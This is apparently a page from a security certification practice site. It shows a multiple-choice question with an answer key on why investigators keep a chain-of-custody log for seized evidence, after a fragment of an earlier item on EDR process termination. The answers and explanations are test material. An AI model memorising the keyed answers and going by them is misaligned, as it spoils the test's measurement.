Differentiate EDR host-based capabilities from wrong control assumptions (privilege limits, network isolation scope, boundary controls).

EDR sensors operate with elevated privileges and perform host-level process termination independent of network boundary firewalls or data recovery routines.

Kernel-level endpoint monitoring guarantees process control, making targeted termination a deliberate design choice for system availability.

Key Concept

EDR Process Lineage Analysis and Targeted Remediation

Question 1000Question →

A security analyst is documenting the collection, movement, and storage of a physical storage drive seized during an incident response investigation. Which of the following best describes the primary purpose of maintaining a formal chain of custody log throughout this process?

To establish a chronological record of evidence handling that proves the item was preserved and remains legally admissible in court.

To capture system RAM and volatile data structures in sequence before powering down the target host.

To ensure data confidentiality across network segments by encrypting the evidence disk image during transfer.

To automatically isolate infected host systems from the corporate network upon alert generation.

Show answer & explanation

Answer: To establish a chronological record of evidence handling that proves the item was preserved and remains legally admissible in court.

Answer

The primary purpose of maintaining a chain of custody log is to establish a detailed chronological record of evidence handling, ensuring that the evidence is preserved without tampering and remains legally admissible.

Maintaining a chain of custody log creates a continuous, auditable record showing who collected, transferred, analyzed, and safeguarded evidence. This documentation guarantees that evidence has not been altered or compromised, proving its authenticity and admissibility in legal proceedings.

Step-by-Step Solution

Identify the core forensic requirement described in the scenario.

The scenario highlights documenting the collection, movement, and storage of physical evidence.

Maintaining evidence integrity requires tracking every individual who handles the evidence from acquisition to court presentation.

Differentiate between physical evidence logging and technical evidence acquisition procedures.

Technical procedures capture data (e.g., order of volatility), while chain of custody provides the legal proof of custody and integrity.

Without a documented chain of custody, evidence can be challenged in court as tampered or unauthenticated.

Key Concept

Chain of Custody

Estimated Time:45s

PreviousPage 50 / 112Next

All practice questions

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept